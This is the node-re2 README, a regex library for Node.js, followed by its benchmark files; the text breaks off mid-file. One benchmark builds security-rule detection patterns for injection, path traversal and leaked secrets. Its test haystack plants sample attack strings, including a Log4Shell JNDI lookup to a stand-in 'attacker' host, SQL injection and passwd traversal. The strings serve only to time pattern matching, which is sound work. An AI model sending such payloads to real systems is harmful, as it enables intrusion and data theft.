[`re2.dotAll`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/dotAll) * [`re2.unicode`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/unicode) — always `true`; see details below. * [`re2.sticky`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/sticky) * [`re2.hasIndices`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/hasIndices) * [`re2.source`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/source) * [`re2.flags`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/flags) Supported methods: * [`re2.exec(str)`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/exec) * [`re2.test(str)`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/test) * [`re2.toString()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/toString) Well-known symbol-based methods are supported (see [Symbols](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol)): * [`re2[Symbol.match](str)`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol/match) * [`re2[Symbol.matchAll](str)`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol/matchAll) * [`re2[Symbol.search](str)`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol/search) * [`re2[Symbol.replace](str, newSubStr|function)`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol/replace) * [`re2[Symbol.split](str[, limit])`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol/split) This lets you use `RE2` instances on strings directly, just like `RegExp`: ```js const re = new RE2('1'); '213'.match(re); // [ '1', index: 1, input: '213' ] '213'.search(re); // 1 '213'.replace(re, '+'); // 2+3 '213'.split(re); // [ '2', '3' ] Array.from('2131'.matchAll(new RE2('1', 'g'))); // matchAll requires the g flag // [['1', index: 1, input: '2131'], ['1', index: 3, input: '2131']] ``` [Named groups](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Regular_expressions/Named_capturing_group) are supported. ## Extensions ### Shortcut construction `RE2` can be created from a regular expression: ```js const re1 = new RE2(/ab*/ig); // from a RegExp object const re2 = new RE2(re1); // from another RE2 object ``` ### `String` methods `RE2` provides the standard `String` regex methods with swapped receiver and argument: * `re2.match(str)` * See [`str.match(regexp)`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/match) * `re2.replace(str, newSubStr|function)` * See [`str.replace(regexp, newSubStr|function)`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace) * `re2.search(str)` * See [`str.search(regexp)`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/search) * `re2.split(str[, limit])` * See [`str.split(regexp[, limit])`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/split) These methods are also available as well-known symbol-based methods for transparent use with ES6 string/regex machinery. ### `Buffer` support Most methods accept Buffers instead of strings for direct UTF-8 processing: * `re2.exec(buf)` * `re2.test(buf)` * `re2.match(buf)` * `re2.search(buf)` * `re2.split(buf[, limit])` * `re2.replace(buf, replacer)` Differences from string-based versions: * All buffers are assumed to be encoded as [UTF-8](https://en.wikipedia.org/wiki/UTF-8) (ASCII is a proper subset of UTF-8). * Results are `Buffer` objects, even in composite objects. Convert with [`buf.toString()`](https://nodejs.org/api/buffer.html#buffer_buf_tostring_encoding_start_end). * All offsets and lengths are in bytes, not characters (each UTF-8 character occupies 1–4 bytes). This lets you slice buffers directly without costly character-to-byte recalculations. When `re2.replace()` is used with a replacer function, the replacer receives string arguments and character offsets by default. Set `useBuffers` to `true` on the function to receive byte offsets instead: ```js function strReplacer(match, offset, input) { // typeof match == "string" return "<= " + offset + " characters|"; } RE2("б").replace("абв", strReplacer); // "а<= 1 characters|в" function bufReplacer(match, offset, input) { // typeof match == "string" return "<= " + offset + " bytes|"; } bufReplacer.useBuffers = true; RE2("б").replace("абв", bufReplacer); // "а<= 2 bytes|в" ``` This works for both string and buffer inputs. Buffer input produces buffer output; string input produces string output. ### `RE2.Set` Use `RE2.Set` when the same string must be tested against many patterns. It builds a single automaton and frequently beats running individual regular expressions one by one. While `test()` can be simulated by combining patterns with `|`, `match()` returns which patterns matched — something a single regular expression cannot do. * `new RE2.Set(patterns[, flagsOrOptions][, options])` * `patterns` is any iterable of strings, `Buffer`s, `RegExp`, or `RE2` instances; flags (if provided) apply to the whole set. * `flagsOrOptions` can be a string/`Buffer` with standard flags (`i`, `m`, `s`, `u`, `g`, `y`, `d`). * `options.anchor` can be `'unanchored'` (default), `'start'`, or `'both'`. * `options.maxMem` is the DFA memory budget in bytes (positive integer). Default is 8 MiB — raise it to compile sets that would otherwise fail with `"RE2.Set could not be compiled."`. * `set.test(str)` returns `true` if any pattern matches and `false` otherwise. * `set.match(str)` returns an array of indexes of matching patterns. * This is an array of integer indices of patterns that matched sorted in ascending order. * If no patterns matched, an empty array is returned. * Read-only properties: * `set.size` (number of patterns), `set.flags` (`RegExp` flags as a string), `set.anchor` (anchor mode as a string) * `set.source` (all patterns joined with `|` as a string), `set.sources` (individual pattern sources as an array of strings) * `set.maxMem` (number) — effective DFA memory budget in bytes It is based on [RE2::Set](https://github.com/google/re2/blob/main/re2/set.h). Example: ```js const routes = new RE2.Set([ '^/users/\\d+$', '^/posts/\\d+$' ], 'i', {anchor: 'start'}); routes.test('/users/7'); // true routes.match('/posts/42'); // [1] routes.sources; // ['^/users/\\d+$', '^/posts/\\d+$'] routes.toString(); // '/^/users/\\d+$|^/posts/\\d+$/iu' ``` To run the bundled benchmark (make sure node-re2 is built first): ```bash npx nano-bench bench/set-match.mjs ``` ### Calculate length Two helpers convert between UTF-8 and UTF-16 sizes: * `RE2.getUtf8Length(str)` — byte size needed to encode a string as a UTF-8 buffer. * `RE2.getUtf16Length(buf)` — character count needed to decode a UTF-8 buffer as a string. ### Property: `internalSource` `source` emulates the standard `RegExp` property and can recreate an identical `RE2` or `RegExp` instance. To inspect the RE2-translated pattern (useful for debugging), use the read-only `internalSource` property. ### Unicode warning level `RE2` always works in Unicode mode. In most cases this is either invisible or preferred. For applications that need tight control, the static property `RE2.unicodeWarningLevel` governs what happens when a non-Unicode regular expression is created. If a regular expression lacks the `u` flag, it is added silently by default: ```js const x = /./; x.flags; // '' const y = new RE2(x); y.flags; // 'u' ``` Values of `RE2.unicodeWarningLevel`: * `'nothing'` (default) — silently add `u`. * `'warnOnce'` — warn once, then silently add `u`. Assigning this value resets the one-time flag. * `'warn'` — warn every time, still add `u`. * `'throw'` — throw `SyntaxError`. * Any other value is silently ignored, leaving the previous value unchanged. Warnings and exceptions help audit an application for stray non-Unicode regular expressions. `RE2.unicodeWarningLevel` is global. Be careful in multi-threaded environments — it is shared across threads. ## How to install ```bash npm install re2 ``` The project works with other package managers but is not tested with them. See the wiki for notes on [yarn](https://github.com/uhop/node-re2/wiki/Using-with-yarn) and [pnpm](https://github.com/uhop/node-re2/wiki/Using-with-pnpm). ### Supported Node.js versions `re2` supports the Node.js versions declared in its `engines` field: ``` ^22.22.2 || ^24.15.0 || >=26.0.0 ``` As of 1.25.0 this range was narrowed to mirror [`node-gyp`](https://github.com/nodejs/node-gyp) 13, which `re2` builds with (and which fixes a Node 26 build on Windows): **Node 25.x and the older 22.0–22.22.1 / 24.0–24.14 patch ranges are no longer supported.** Use a current release of an active line — Node 22 (≥ 22.22.2), 24 (≥ 24.15.0), or 26 and later. ### Install scripts (npm 12+) `re2` downloads or builds its native binary in an `install` script. Starting with npm 12 (July 2026), npm does not run dependency install scripts unless the package is listed in the `allowScripts` field of your project's `package.json` — without it, `npm install re2` fails with `ESTRICTALLOWSCRIPTS`. npm 11.16+ still runs the scripts but prints a warning. Allow `re2` before installing: ```bash npm pkg set allowScripts.re2=true --json npm install re2 ``` Or use npm's approval tooling — note that `npm approve-scripts` only matches installed packages, so under npm 12 the package has to be installed with scripts skipped first: ```bash npm install re2 --ignore-scripts npm approve-scripts re2 npm rebuild re2 ``` `npm approve-scripts` pins the approval to the installed version, so version updates ask again; pass `--no-allow-scripts-pin` (or use the `allowScripts.re2=true` form above) to allow all versions. No other package in `re2`'s dependency tree runs install scripts. For the full story see [NPM 12 and install scripts](https://github.com/uhop/install-artifact-from-github/wiki/NPM-12-and-install-scripts) and GitHub's official [announcement of the npm v12 breaking changes](https://github.blog/changelog/2026-06-09-upcoming-breaking-changes-for-npm-v12/). ### Precompiled artifacts The [install script](https://github.com/uhop/install-artifact-from-github/blob/master/bin/install-from-cache.js) attempts to download a prebuilt artifact from GitHub Releases. Override the download location with the `RE2_DOWNLOAD_MIRROR` environment variable. If the download fails, the script builds RE2 locally using [node-gyp](https://github.com/nodejs/node-gyp). ## How to use It is used just like `RegExp`. ```js const RE2 = require('re2'); // with default flags let re = new RE2('a(b*)'); let result = re.exec('abbc'); console.log(result[0]); // 'abb' console.log(result[1]); // 'bb' result = re.exec('aBbC'); console.log(result[0]); // 'a' console.log(result[1]); // '' // with explicit flags re = new RE2('a(b*)', 'i'); result = re.exec('aBbC'); console.log(result[0]); // 'aBb' console.log(result[1]); // 'Bb' // from regular expression object const regexp = new RegExp('a(b*)', 'i'); re = new RE2(regexp); result = re.exec('aBbC'); console.log(result[0]); // 'aBb' console.log(result[1]); // 'Bb' // from regular expression literal re = new RE2(/a(b*)/i); result = re.exec('aBbC'); console.log(result[0]); // 'aBb' console.log(result[1]); // 'Bb' // from another RE2 object const rex = new RE2(re); result = rex.exec('aBbC'); console.log(result[0]); // 'aBb' console.log(result[1]); // 'Bb' // shortcut result = new RE2('ab*').exec('abba'); // factory result = RE2('ab*').exec('abba'); ``` ## Limitations (things RE2 does not support) `RE2` avoids any regular expression features that require worst-case exponential time to evaluate. The most notable missing features are backreferences and lookahead assertions. If your application uses them, you should continue to use `RegExp` — but since they are fundamentally vulnerable to [ReDoS](https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS), consider replacing them. `RE2` throws `SyntaxError` for unsupported features. Wrap `RE2` declarations in a try-catch to fall back to `RegExp`: ```js let re = /(a)+(b)*/; try { re = new RE2(re); // use RE2 as a drop-in replacement } catch (e) { // use the original RegExp } const result = re.exec(sample); ``` `RE2` may also behave differently from the built-in engine in corner cases. ### Backreferences `RE2` does not support backreferences — numbered references to previously matched groups (`\1`, `\2`, etc.). Example: ```js /(cat|dog)\1/.test("catcat"); // true /(cat|dog)\1/.test("dogdog"); // true /(cat|dog)\1/.test("catdog"); // false /(cat|dog)\1/.test("dogcat"); // false ``` ### Lookahead assertions `RE2` does not support lookahead assertions, which make a match depend on subsequent contents. ```js /abc(?=def)/; // match abc only if it is followed by def /abc(?!def)/; // match abc only if it is not followed by def ``` ### Mismatched behavior `RE2` and the built-in engine may disagree in edge cases. Verify your regular expressions before switching. They should work in the vast majority of cases. Example: ```js const RE2 = require('re2'); const pattern = '(?:(a)|(b)|(c))+'; const built_in = new RegExp(pattern); const re2 = new RE2(pattern); const input = 'abc'; const bi_res = built_in.exec(input); const re2_res = re2.exec(input); console.log('bi_res: ' + bi_res); // prints: bi_res: abc,,,c console.log('re2_res : ' + re2_res); // prints: re2_res : abc,a,b,c ``` ### Unicode `RE2` always works in Unicode mode. See `RE2.unicodeWarningLevel` above for details. #### Unicode classes `\p{...}` and `\P{...}` node-re2 follows [MDN's Unicode character class escape reference](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Regular_expressions/Unicode_character_class_escape) — the same set of property escapes that JavaScript's native `RegExp` accepts with the `u` flag. Supported categories: - **General_Category** — both short names (e.g., `\p{L}`, `\p{Lu}`) and long names (e.g., `\p{Letter}`, `\p{Uppercase_Letter}`). The `gc=` and `General_Category=` prefixes also work: `\p{gc=Letter}`, `\p{General_Category=Letter}`. - **Script** — e.g., `\p{Script=Latin}`, `\p{sc=Cyrillic}`. ISO 15924 four-letter codes are accepted as well: `\p{sc=Latn}`. - **Script_Extensions** — e.g., `\p{Script_Extensions=Hani}`, `\p{scx=Latn}`. Matches characters whose Script_Extensions list includes the named script (a superset of `Script=`). - **Binary properties** — the full ECMAScript set of binary properties, including: - `Alphabetic`, `ASCII`, `ASCII_Hex_Digit`, `Hex_Digit`, `White_Space`, `Math`, `Dash`, `Diacritic`, `Quotation_Mark`, `Bidi_Mirrored`, `Bidi_Control`, `Default_Ignorable_Code_Point` - `Lowercase`, `Uppercase`, `Cased`, `Case_Ignorable`, `Changes_When_Lowercased`, `Changes_When_Uppercased`, `Changes_When_Casefolded`, `Changes_When_Casemapped`, `Changes_When_Titlecased`, `Changes_When_NFKC_Casefolded` - `ID_Start`, `ID_Continue`, `XID_Start`, `XID_Continue`, `Pattern_Syntax`, `Pattern_White_Space` - `Emoji`, `Emoji_Presentation`, `Emoji_Modifier`, `Emoji_Modifier_Base`, `Emoji_Component`, `Extended_Pictographic`, `Regional_Indicator` - `Grapheme_Base`, `Grapheme_Extend`, `Extender`, `Variation_Selector`, `Join_Control`, `Logical_Order_Exception`, `Sentence_Terminal`, `Terminal_Punctuation`, `Soft_Dotted`, `Radical`, `Unified_Ideograph`, `Ideographic`, `IDS_Binary_Operator`, `IDS_Trinary_Operator`, `Noncharacter_Code_Point`, `Deprecated`, `Any`, `Assigned` Short aliases listed in [PropertyAliases.txt](https://www.unicode.org/Public/UCD/latest/ucd/PropertyAliases.txt) are accepted alongside the canonical names: `\p{Alpha}` ≡ `\p{Alphabetic}`, `\p{Hex}` ≡ `\p{Hex_Digit}`, `\p{Lower}` ≡ `\p{Lowercase}`, etc. The negated form `\P{...}` and use inside character classes (`[\p{L}\p{Emoji}]`, `[^\p{ASCII}]`) work for every category. **Not supported:** *Properties of Strings* (`\p{Basic_Emoji}`, `\p{RGI_Emoji}`, etc.). These match multi-codepoint sequences and require the `v` flag, which RE2 does not model. Tables are baked in at build time from Unicode 17.0. To target a newer Unicode version, bump `@unicode/unicode-XX.X.X` in `devDependencies` and run `node scripts/gen-unicode-properties.mjs`. ## Release history - 1.25.0 *Full Unicode 17.0.0 property classes (Fixes #226). New `maxMem` option for `RE2.Set`. Faster matching on pure-ASCII inputs. Narrowed Node support — drops Node 25.x and older patch releases.* - 1.24.1 *Support for Node 22, 24, 26 + precompiled binaries.* - 1.24.0 *Fixed multi-threaded crash in worker threads (#235). Added named import: `import {RE2} from 're2'`. Added CJS test. Updated docs and dependencies.* - 1.23.3 *Updated Abseil and dev dependencies.* - 1.23.2 *Updated dev dependencies.* - 1.23.1 *Updated Abseil and dev dependencies.* - 1.23.0 *Updated all dependencies, upgraded tooling. New feature: `RE2.Set` (thx, [Wes](https://github.com/wrmedford)).* - 1.22.3 *Technical release: upgraded QEMU emulations to native ARM runners to speed up the build process.* - 1.22.2 *Updated all dependencies and the list of pre-compiled targets: Node 20, 22, 24, 25 (thx, [Jiayu Liu](https://github.com/jimexist)).* - 1.22.1 *Added support for translation of scripts as Unicode classes.* - 1.22.0 *Added support for translation of Unicode classes (thx, [John Livingston](https://github.com/JohnXLivingston)). Added [attestations](https://github.com/uhop/node-re2/attestations).* - 1.21.5 *Updated all dependencies and the list of pre-compiled targets. Fixed minor bugs. C++ style fix (thx, [Benjamin Brienen](https://github.com/BenjaminBrienen)). Added Windows 11 ARM build runner (thx, [Kagami Sascha Rosylight](https://github.com/saschanaz)).* - 1.21.4 *Fixed a regression reported by [caroline-matsec](https://github.com/caroline-matsec), thx! Added pre-compilation targets for Alpine Linux on ARM. Updated deps.* - 1.21.3 *Fixed an empty string regression reported by [Rhys Arkins](https://github.com/rarkins), thx! Updated deps.* - 1.21.2 *Fixed another memory regression reported by [matthewvalentine](https://github.com/matthewvalentine), thx! Updated deps. Added more tests and benchmarks.* - 1.21.1 *Fixed a memory regression reported by [matthewvalentine](https://github.com/matthewvalentine), thx! Updated deps.* - 1.21.0 *Fixed the performance problem reported by [matthewvalentine](https://github.com/matthewvalentine) (thx!). The change improves performance for multiple use cases.* - 1.20.12 *Updated deps. Maintenance chores. Fixes for buffer-related bugs: `exec()` index (reported by [matthewvalentine](https://github.com/matthewvalentine), thx) and `match()` index.* - 1.20.11 *Updated deps. Added support for Node 22 (thx, [Elton Leong](https://github.com/eltonkl)).* - 1.20.10 *Updated deps. Removed files the pack used for development (thx, [Haruaki OTAKE](https://github.com/aaharu)). Added arm64 Linux prebilds (thx, [Christopher M](https://github.com/cmanou)). Fixed non-`npm` `corepack` problem (thx, [Steven](https://github.com/styfle)).* - 1.20.9 *Updated deps. Added more `absail-cpp` files that manifested itself on NixOS. Thx, [Laura Hausmann](https://github.com/zotanmew).* - 1.20.8 *Updated deps: `install-artifact-from-github`. A default HTTPS agent is used for fetching precompiled artifacts avoiding unnecessary long wait times.* - 1.20.7 *Added more `absail-cpp` files that manifested itself on ARM Alpine. Thx, [Laura Hausmann](https://github.com/zotanmew).* - 1.20.6 *Updated deps, notably `node-gyp`.* - 1.20.5 *Updated deps, added Node 21 and retired Node 16 as pre-compilation targets.* - 1.20.4 *Updated deps. Fix: the 2nd argument of the constructor overrides flags. Thx, [gost-serb](https://github.com/gost-serb).* - 1.20.3 *Fix: subsequent numbers are incorporated into group if they would form a legal group reference. Thx, [Oleksii Vasyliev](https://github.com/le0pard).* - 1.20.2 *Fix: added a missing C++ file, which caused a bug on Alpine Linux. Thx, [rbitanga-manticore](https://github.com/rbitanga-manticore).* - 1.20.1 *Fix: files included in the npm package to build the C++ code.* - 1.20.0 *Updated RE2. New version uses `abseil-cpp` and required the adaptation work. Thx, [Stefano Rivera](https://github.com/stefanor).* The rest can be consulted in the project's wiki [Release history](https://github.com/uhop/node-re2/wiki/Release-history). ## License BSD-3-Clause uhop-node-re2-2d93a5d/bench/000077500000000000000000000000001521435504200155735ustar00rootroot00000000000000uhop-node-re2-2d93a5d/bench/ascii-fast-path.mjs000066400000000000000000000053111521435504200212630ustar00rootroot00000000000000// Quantify the ASCII offset fast path (commit 54e5a87). When an input string // is pure ASCII, a byte offset equals its UTF-16 offset, so the per-match // `getUtf16Length` byte-scan (O(offset)) is replaced by `to - from` (O(1)). // // Controlled isolation: each pair of cases runs the *same* operation on two // strings that differ only by a single leading multibyte character. That one // non-ASCII codepoint flips `StrVal.isAscii` to false for the whole string, so // every offset conversion falls back to the linear scan — i.e. the pre-54e5a87 // behavior. The ASCII-vs-non-ASCII gap is the fast path's gain; the regex match // work itself is identical across the pair. // // The amplifier is a match deep in a long string: the slow path scans the // whole prefix to convert the match index, the fast path returns it directly. import {RE2} from '../re2.js'; // --- Deep single match in a long string ------------------------------------- const L = 200_000; const asciiLong = 'a'.repeat(L) + 'NEEDLE'; // match index == L, pure ASCII const nonAsciiLong = '€' + asciiLong; // one leading 3-byte '€' flips isAscii const reExec = new RE2('NEEDLE'); // non-global: converts index 0 -> match start // --- Many matches drained with a /g loop ------------------------------------ const GAP = 99, K = 2000; const asciiMany = ('a'.repeat(GAP) + 'M').repeat(K); // K matches across ~200k chars const nonAsciiMany = '€' + asciiMany; const reGlobal = new RE2('M', 'g'); const drain = str => { reGlobal.lastIndex = 0; let count = 0; while (reGlobal.exec(str) !== null) ++count; return count; }; // --- Short string control (fast path should be a wash here) ----------------- const asciiShort = 'aaaaaNEEDLE'; const nonAsciiShort = '€' + asciiShort; export default { 'exec deep — ASCII': n => { const out = []; for (let i = 0; i < n; ++i) { out.pop(); out.push(reExec.exec(asciiLong)); } return out; }, 'exec deep — 1 non-ASCII': n => { const out = []; for (let i = 0; i < n; ++i) { out.pop(); out.push(reExec.exec(nonAsciiLong)); } return out; }, 'drain /g — ASCII': n => { let count = 0; for (let i = 0; i < n; ++i) count += drain(asciiMany); return count; }, 'drain /g — 1 non-ASCII': n => { let count = 0; for (let i = 0; i < n; ++i) count += drain(nonAsciiMany); return count; }, 'exec short — ASCII': n => { const out = []; for (let i = 0; i < n; ++i) { out.pop(); out.push(reExec.exec(asciiShort)); } return out; }, 'exec short — 1 non-ASCII': n => { const out = []; for (let i = 0; i < n; ++i) { out.pop(); out.push(reExec.exec(nonAsciiShort)); } return out; } }; uhop-node-re2-2d93a5d/bench/bad-pattern.mjs000066400000000000000000000015611521435504200205120ustar00rootroot00000000000000import {RE2} from '../re2.js'; const BAD_PATTERN = '([a-z]+)+$'; const BAD_INPUT = 'a'.repeat(10) + '!'; const regExp = new RegExp(BAD_PATTERN); const re2 = new RE2(BAD_PATTERN); // V8's experimental linear-time engine — only available under // `node --enable-experimental-regexp-engine`; the 'l' flag throws otherwise. let linear; try { linear = new RegExp(BAD_PATTERN, 'l'); } catch {} const cases = { RegExp: n => { let count = 0; for (let i = 0; i < n; ++i) { if (regExp.test(BAD_INPUT)) ++count; } return count; }, RE2: n => { let count = 0; for (let i = 0; i < n; ++i) { if (re2.test(BAD_INPUT)) ++count; } return count; } }; if (linear) { cases.Linear = n => { let count = 0; for (let i = 0; i < n; ++i) { if (linear.test(BAD_INPUT)) ++count; } return count; }; } export default cases; uhop-node-re2-2d93a5d/bench/filtered-many.mjs000066400000000000000000000074251521435504200210560ustar00rootroot00000000000000// Shape 4 of the FilteredRE2 evaluation suite: large pattern count over // moderate-size inputs. The regime where RE2.Set's union-DFA is expected // to strain (state-count blowup is exponential worst case) while an // AC-based prefilter scales linearly with atom-count. // // All entrants use AllMatches semantics — they must report every pattern // that hit each input. Iteration body processes the full batch of inputs // once, matching the convention from set-match.mjs. import {RE2} from '../re2.js'; const mulberry32 = seed => () => { seed = (seed + 0x6d2b79f5) | 0; let t = seed; t = Math.imul(t ^ (t >>> 15), t | 1); t ^= t + Math.imul(t ^ (t >>> 7), t | 61); return ((t ^ (t >>> 14)) >>> 0) / 4294967296; }; // 2000 domain-blocklist-style patterns with varied literal anchors. const adjectives = [ 'fast', 'quick', 'evil', 'sneaky', 'shady', 'mega', 'super', 'ultra', 'cyber', 'crypto', 'dark', 'neon', 'rapid', 'silent', 'zero', 'phantom', 'rogue', 'hidden', 'stealth', 'shadow' ]; const tlds = ['com', 'net', 'org', 'io', 'co', 'dev', 'xyz', 'site']; const PATTERN_COUNT = 2000; const patterns = []; for (let i = 0; i < PATTERN_COUNT; ++i) { const adj = adjectives[i % adjectives.length]; const tld = tlds[(i / adjectives.length) | (0 % tlds.length)]; patterns.push(`${adj}-site${i}\\.${tld}`); } // 200 short log lines; ~30% contain a literal that one of the patterns // will match. The remaining ~70% are pure non-matches — the cost the // prefilter is meant to absorb. const INPUT_COUNT = 200; const rng = mulberry32(7); const inputs = []; for (let j = 0; j < INPUT_COUNT; ++j) { if (rng() < 0.3) { const i = Math.floor(rng() * PATTERN_COUNT); const adj = adjectives[i % adjectives.length]; const tld = tlds[(i / adjectives.length) | (0 % tlds.length)]; inputs.push( `2026-05-12T22:31:04Z client=10.0.0.${j & 255} GET https://${adj}-site${i}.${tld}/path?q=${j} 200 42ms` ); } else { inputs.push( `2026-05-12T22:31:04Z client=10.0.0.${j & 255} GET https://normal-${j}.example.com/path?q=${j} 200 42ms` ); } } // Compile each engine's pattern set once, outside the timed loop. // Setup cost itself is interesting — print it for visibility. const tCompileJs = process.hrtime.bigint(); const jsList = patterns.map(p => new RegExp(p)); const dCompileJs = Number(process.hrtime.bigint() - tCompileJs) / 1e6; const tCompileRe2 = process.hrtime.bigint(); const re2List = patterns.map(p => new RE2(p)); const dCompileRe2 = Number(process.hrtime.bigint() - tCompileRe2) / 1e6; const tCompileSet = process.hrtime.bigint(); const re2Set = new RE2.Set(patterns); const dCompileSet = Number(process.hrtime.bigint() - tCompileSet) / 1e6; console.error( `# Shape 4 setup: ${PATTERN_COUNT} patterns, ${INPUT_COUNT} inputs\n` + `# compile RegExp: ${dCompileJs.toFixed(1)}ms · RE2: ${dCompileRe2.toFixed(1)}ms · RE2.Set: ${dCompileSet.toFixed(1)}ms` ); export default { RegExp: n => { const out = []; for (let i = 0; i < n; ++i) { let total = 0; for (const input of inputs) { for (let k = 0; k < jsList.length; ++k) { if (jsList[k].test(input)) ++total; } } out.pop(); out.push(total); } return out; }, RE2: n => { const out = []; for (let i = 0; i < n; ++i) { let total = 0; for (const input of inputs) { for (let k = 0; k < re2List.length; ++k) { if (re2List[k].test(input)) ++total; } } out.pop(); out.push(total); } return out; }, 'RE2.Set': n => { const out = []; for (let i = 0; i < n; ++i) { let total = 0; for (const input of inputs) { total += re2Set.match(input).length; } out.pop(); out.push(total); } return out; } }; uhop-node-re2-2d93a5d/bench/filtered-rules.mjs000066400000000000000000000104421521435504200212350ustar00rootroot00000000000000// Shape 1 of the FilteredRE2 evaluation suite: many security-rule-like // patterns against MB-scale text. Most patterns carry literal substrings // that a prefilter would catch, and most patterns don't match most chunks // of the haystack — the regime where FilteredRE2 should shine. // // Entrants today: V8 RegExp in a loop, individual RE2 instances in a loop, // RE2.Set. A future RE2.Filtered entrant slots in by adding one more case. import {RE2} from '../re2.js'; // ~30 patterns drawn from common security-rule families. Each is a // case-insensitive search; most have at least one literal substring // long enough to be a useful prefilter atom. const patterns = [ // PHP RCE-ish 'eval\\s*\\(\\s*\\$_(?:GET|POST|REQUEST|COOKIE)', 'passthru\\s*\\(', 'shell_exec\\s*\\(', 'system\\s*\\(', 'proc_open\\s*\\(', 'base64_decode\\s*\\(\\s*\\$', // XSS ']*>', 'javascript\\s*:', 'on(?:load|error|click|mouseover)\\s*=', ']*src\\s*=', // Path traversal '\\.\\.\\/', '\\.\\.\\\\', 'etc\\/passwd', 'etc\\/shadow', 'proc\\/self\\/environ', // SQL injection 'union\\s+select', 'or\\s+1\\s*=\\s*1', 'drop\\s+table', 'information_schema\\.', 'sleep\\s*\\(\\s*\\d', // Secrets 'AKIA[0-9A-Z]{16}', 'ghp_[0-9A-Za-z]{36}', 'xox[bpoa]-[0-9A-Za-z-]{10,}', '-----BEGIN (?:RSA |EC |DSA |OPENSSH |PGP )?PRIVATE KEY-----', // LDAP injection '\\(\\|\\(objectClass=', '\\(\\&\\(uid=', // SSRF / cloud metadata '169\\.254\\.169\\.254', 'metadata\\.google\\.internal', // Log4Shell / template injection '\\$\\{jndi:', '\\$\\{\\s*ldap\\s*:' ]; // Build the haystack: ~1 MB of innocuous-looking content with a few rare // matches sprinkled in. Deterministic via seeded RNG. const mulberry32 = seed => () => { seed = (seed + 0x6d2b79f5) | 0; let t = seed; t = Math.imul(t ^ (t >>> 15), t | 1); t ^= t + Math.imul(t ^ (t >>> 7), t | 61); return ((t ^ (t >>> 14)) >>> 0) / 4294967296; }; const filler = [ '2026-05-12T22:31:04.123Z INFO app.module worker 12345 request completed status=200 latency=42ms\n', 'GET /api/v1/users?limit=20&offset=0 HTTP/1.1 host=example.com user-agent=curl/8.5.0\n', 'cache hit key=session:abc123 ttl=3600 size=4096 region=us-east-1 fetched from local\n', 'database query SELECT id, name FROM users WHERE active = true ORDER BY id LIMIT 100\n', 'config loaded from /etc/app/config.yaml with 47 keys merged from environment\n', 'sending email to user@example.org subject="welcome" template=onboarding-v3\n', 'job scheduled id=7821 type=cleanup interval=300s next_run=2026-05-12T23:00:00Z\n', 'metric counter http_requests_total{method="POST",path="/login"} +1 = 28471\n', 'starting worker pid=44219 cpu=4 mem=2048M tags=[prod,api,us-west] version=2.3.1\n', 'auth token validated subject=svc-account/audit scope=read:logs exp=900s\n' ]; const sprinkle = [ '', "' OR 1=1 --", '../../etc/passwd', 'eval($_GET["cmd"])', '${jndi:ldap://attacker/x}', 'AKIA1234567890ABCDEF', '169.254.169.254/latest/meta-data/' ]; const TARGET_SIZE = 1 << 20; // 1 MiB const rng = mulberry32(42); let buf = ''; while (buf.length < TARGET_SIZE) { buf += filler[Math.floor(rng() * filler.length)]; // Sprinkle ~1 match per ~10 KB on average. if (rng() < 0.0001) buf += sprinkle[Math.floor(rng() * sprinkle.length)] + '\n'; } const haystack = buf.slice(0, TARGET_SIZE); // Compile each engine's pattern set once, outside the loop. const jsList = patterns.map(p => new RegExp(p, 'i')); const re2List = patterns.map(p => new RE2(p, 'i')); const re2Set = new RE2.Set(patterns.map(p => '(?i)' + p)); export default { RegExp: n => { const out = []; for (let i = 0; i < n; ++i) { const matches = []; for (let k = 0; k < jsList.length; ++k) { if (jsList[k].test(haystack)) matches.push(k); } out.pop(); out.push(matches); } return out; }, RE2: n => { const out = []; for (let i = 0; i < n; ++i) { const matches = []; for (let k = 0; k < re2List.length; ++k) { if (re2List[k].test(haystack)) matches.push(k); } out.pop(); out.push(matches); } return out; }, 'RE2.Set': n => { const out = []; for (let i = 0; i < n; ++i) { out.pop(); out.push(re2Set.match(haystack)); } return out; } }; uhop-node-re2-2d93a5d/bench/filtered-scale.mjs000066400000000000000000000065761521435504200212070ustar00rootroot00000000000000// Shape 5 of the FilteredRE2 evaluation suite: scale N to find where // RE2.Set's union-DFA approach breaks down, if it does. Patterns are // pseudo-random unique literals — no shared prefix structure for the // DFA to factor cleanly — to stress the union construction. // // Compile times printed to stderr; runtime measured in the loop. import {RE2} from '../re2.js'; const mulberry32 = seed => () => { seed = (seed + 0x6d2b79f5) | 0; let t = seed; t = Math.imul(t ^ (t >>> 15), t | 1); t ^= t + Math.imul(t ^ (t >>> 7), t | 61); return ((t ^ (t >>> 14)) >>> 0) / 4294967296; }; // 8-char pseudo-random literal token. 26^8 ≈ 2.1×10^11 unique strings — // no collisions at our scales. Distinct first letter per token so the // union-DFA can't trivially factor by prefix. const alpha = 'abcdefghijklmnopqrstuvwxyz'; const token = i => { const r = mulberry32(i ^ 0xc0ffee); let s = ''; 